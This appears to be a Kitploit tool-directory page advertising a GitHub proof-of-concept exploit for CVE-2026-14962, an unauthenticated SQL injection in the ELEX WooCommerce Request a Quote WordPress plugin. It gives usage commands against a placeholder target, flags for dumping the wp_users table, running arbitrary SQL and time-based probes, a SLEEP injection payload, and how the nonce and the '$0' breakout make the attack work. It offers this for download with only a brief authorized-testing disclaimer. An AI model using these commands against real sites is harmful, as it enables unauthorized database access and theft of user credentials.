Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-14962 — Wordpress Plugin ELEX WooCommerce Request a Quote unauthenticated SQL injection | Kitploit
Tools/GitHubGitHub/cflowsec/cve-2026-14962
Vulnerability ScannersVulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration Testing
GitHubcflowsec/cve-2026-14962

CVE-2026-14962

Wordpress Plugin ELEX WooCommerce Request a Quote unauthenticated SQL injection

View Repository
9h 57m agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-14962

Wordpress Plugin ELEX WooCommerce Request a Quote unauthenticated SQL injection

ELEX WooCommerce Request a Quote (WordPress plugin elex-request-a-quote) ≤ 2.4.0 — unauthenticated SQL injection via the public elex_raq_add_to_quote AJAX action.

For authorized testing only. Do not run this against systems you do not own or have permission to test.

Requires: Python 3, standard library only. Target must be running WooCommerce (the quote scripts/nonce are printed on the shop/home page).

root@kitploit:~
python3 cve-2026-14962-elex-raq-sqli.py -u http://TARGET --test
python3 cve-2026-14962-elex-raq-sqli.py -u https://TARGET --test --insecure
python3 cve-2026-14962-elex-raq-sqli.py -u TARGET --test
python3 cve-2026-14962-elex-raq-sqli.py -u http://TARGET --dump
python3 cve-2026-14962-elex-raq-sqli.py -u http://TARGET --dump --pid 11
python3 cve-2026-14962-elex-raq-sqli.py -u http://TARGET --sleep 3
python3 cve-2026-14962-elex-raq-sqli.py -u http://TARGET --sql 'OR JSON_ARRAY(SLEEP(3)))#'
FlagWhat it does
-u / --urlWordPress site root (required). http:// or https://; a hostname is tried as HTTPS first, then HTTP. Self-signed TLS is retried automatically. --insecure skips verify from the start
--testGuest: plugin version + public nonce, then a non-destructive $0 SQL probe
--dumpFirst wp_users row + DB user. Needs WP_DEBUG so the XPATH error is in the HTTP body
--query SQLYour own SQL expression (no single quotes; use 0x… hex for strings)
--sql EXPRRaw data[id] after the $0$0 breakout (you write the ) OR … # gadget)
--sleep NTime-based SLEEP(N) attempt
--pid / --vidWooCommerce product / variation ids (variation must be non-empty to hit the sink)
--insecureSkip TLS verify
--timeoutHTTP timeout seconds (default 30)

Unauthenticated. The nonce is printed in request_a_quote_ajax_obj on / and /shop/. The guest cookie is request_a_quote_user_coockie (the plugin’s spelling).

--test POSTs attribute_value=$0. Vulnerable 2.4.0 preg_replace treats $0 as the %s match and leaves a literal %d in the query. 2.4.1 binds JSON_CONTAINS and $0 is only a JSON value.

Stdout: VERSION, NONCE, VULNERABLE, NOT_VULNERABLE, NOT_FOUND, NO_NONCE, NO_DUMP, SQLERR, SLEEP.

CVE: CVE-2026-14962. Plugin changelog 2.4.1.

Working PoC

Download Tool